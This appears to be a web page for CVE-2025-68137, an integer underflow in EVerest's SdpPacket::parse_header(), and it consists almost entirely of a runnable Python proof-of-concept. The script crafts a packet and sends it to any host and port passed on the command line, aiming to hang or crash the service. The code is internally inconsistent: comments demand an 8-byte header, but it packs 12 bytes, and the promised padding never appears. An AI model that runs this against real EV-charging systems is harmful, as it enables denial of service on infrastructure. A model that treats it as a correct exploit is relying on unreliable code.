CVE-2025-68137: EVerest SdpPacket::parse_header()整数溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-68137 PoC - EVerest SdpPacket::parse_header() Integer Underflow This PoC demonstrates the integer underflow in SdpPacket::parse_header() that leads to SIZE_MAX being used as buffer length. """ import socket import struct def create_malicious_sdp_packet(): """ Craft a malicious SDP packet that triggers the integer underflow. The header indicates 8 bytes total (complete header), but the internal buffer length is set to 7, causing remaining_length = 7 - 8 = -1 which becomes SIZE_MAX when interpreted as size_t. """ # SDP packet header structure (8 bytes) # The key is that header_length == current_buffer_length # which causes the underflow: remaining = 7 - 8 = -1 -> SIZE_MAX packet = bytearray() # Version and message type (1 byte) packet.append(0x01) # SDP version 1 # Message type: 0x01 = HELLO, 0x02 = HELLO_V2, etc. packet.append(0x01) # HELLO message type # Flags (2 bytes) - some implementations use this packet.extend(struct.pack('>H', 0x0000)) # Sequence number (4 bytes) packet.extend(struct.pack('>I', 0x00000001)) # Payload length (4 bytes) - set to 0 to trigger the condition packet.extend(struct.pack('>I', 0x00000000)) # Padding or additional header bytes to reach exactly 8 bytes # This ensures header_length = 8, but internal buffer = 7 # The exact exploitation depends on implementation details return bytes(packet) def send_exploit(target_host, target_port): """Send the exploit payload to the target EVerest service.""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) payload = create_malicious_sdp_packet() print(f"[*] Sending payload ({len(payload)} bytes)...") sock.send(payload) print("[*] Payload sent. Waiting for response...") # If vulnerable, server will hang (DoS) or crash (overflow) response = sock.recv(1024) print(f"[+] Received: {response.hex()}") sock.close() return True except socket.timeout: print("[-] Connection timed out - possible DoS condition (infinite loop)") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_host> <target_port>") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) print(f"[*] CVE-2025-68137 PoC for EVerest") print(f"[*] Target: {target}:{port}") send_exploit(target, port)